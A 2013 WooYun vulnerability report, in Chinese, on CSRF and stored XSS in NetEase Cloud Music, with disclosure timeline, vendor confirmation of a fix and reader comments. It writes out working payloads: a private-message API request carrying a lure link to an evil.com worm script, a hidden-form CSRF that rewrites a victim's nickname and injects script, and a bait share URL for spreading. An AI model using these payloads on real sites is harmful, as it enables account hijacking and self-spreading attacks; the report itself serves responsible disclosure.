当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036228

漏洞标题:网易云音乐存在CSRF蠕虫的危险

相关厂商:网易

漏洞作者: Startz007

提交时间:2013-09-06 07:56

修复时间:2013-10-21 07:57

公开时间:2013-10-21 07:57

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-06: 细节已通知厂商并且等待厂商处理中
2013-09-06: 厂商已经确认,细节仅向厂商公开
2013-09-16: 细节向核心白帽子及相关领域专家公开
2013-09-26: 细节向普通白帽子公开
2013-10-06: 细节向实习白帽子公开
2013-10-21: 细节向公众公开

简要描述:

见详细说明.

详细说明:

首先使用sina进行登入,在个人简介那里写入恶意代码,如图:

QQ截图20130905220919.jpg


保存,未弹窗...
退出,然后重新使用sina登入,弹框了,呵呵。。

2.jpg


本来以为就这样完了,后来在@magerx大牛的指导下,发现它没有token的,所以还可以做其他邪恶的事..
首先给其他的用户发带有诱惑信息的私信...
地址为:

http://music.163.com/api/msg/private/send?type=text&msg=尼玛这是要逆天啊,www.evil.com/evil.js&userIds=忘不了啊&time=-1


msg后面跟的是诱惑的内容..."忘不了啊"是接收方的名字.网址“www.evil.com/evil.js”为包含worm的恶意代码....
具体可以参考: WooYun: 十九楼csrf可劫持用户帐号 ,只需要替换其中的网址就可以了.
比如:
更新用户个人简介:

<form method="POST" action="http://music.163.com/api/user/profile/update?nickname=startz007&signature=</script><script>alert(/hack by magerx!!!/)</script>&gender=0&avatarImgId=0" name="vipcsrf" target="hidden_frame">


用户访问后用户被改为startz007和个人简介改为:

</script><script>alert(/hack by magerx/)</script>


要是某个名人点击了,ta就被迫改名了(当然名字没有别占用的情况下),然后你就可以占有她的名字了...
传播的话,除了私信,通过可以分享音乐到weibo进行传播,如下网址:

http://music.163.com/share/resource?id=5240795&msg=眼睁睁看着薛蛮子由嫖x变成弓 虽  女 干了,李天x又轮x变成嫖娼了,我却无能无力。。。唉,感觉再也不会爱。。。难道,屌丝就没有逆袭的那天吗?爆笑段子请访问: http://xxxxxxxxx.com&type=song&picUrl=&snsTypes=2


由于需要用户点击私信,还有网易云音乐还不是很流行,所以爆发的可能性还比较低。。
要是找几个大V,大概在8点20准时发出,也许效果会不会好一些 :)
最近发现李BB都入住网易云音乐了,牛逼啊...
杭州下雨了,好爽啊!还没睡的小伙伴来听听李BB的下雨,很好听的!
地址:http://music.163.com/#/m/song?id=26508231

漏洞证明:

自己抓包工具演示哈..

修复方案:

你们懂的..

版权声明:转载请注明来源 Startz007@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-09-06 16:15

厂商回复:

感谢您对网易的关注,漏洞已经修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-09-06 15:39 | Nicky ( 普通白帽子 | Rank:477 漏洞数:69 | http://www.droidsec.cn 安卓安全中文站)

    = =目测1RANK或忽略

  2. 2013-10-21 09:09 | 小土豆 ( 普通白帽子 | Rank:129 漏洞数:23 )

    不错。 学习了。

  3. 2014-04-18 11:35 | evil_webshell ( 路人 | Rank:0 漏洞数:2 | 致力于web层面的安全,热爱黑客技术,正在...)

    这个是什么,我对xss还不是很了解呀,不过学一下了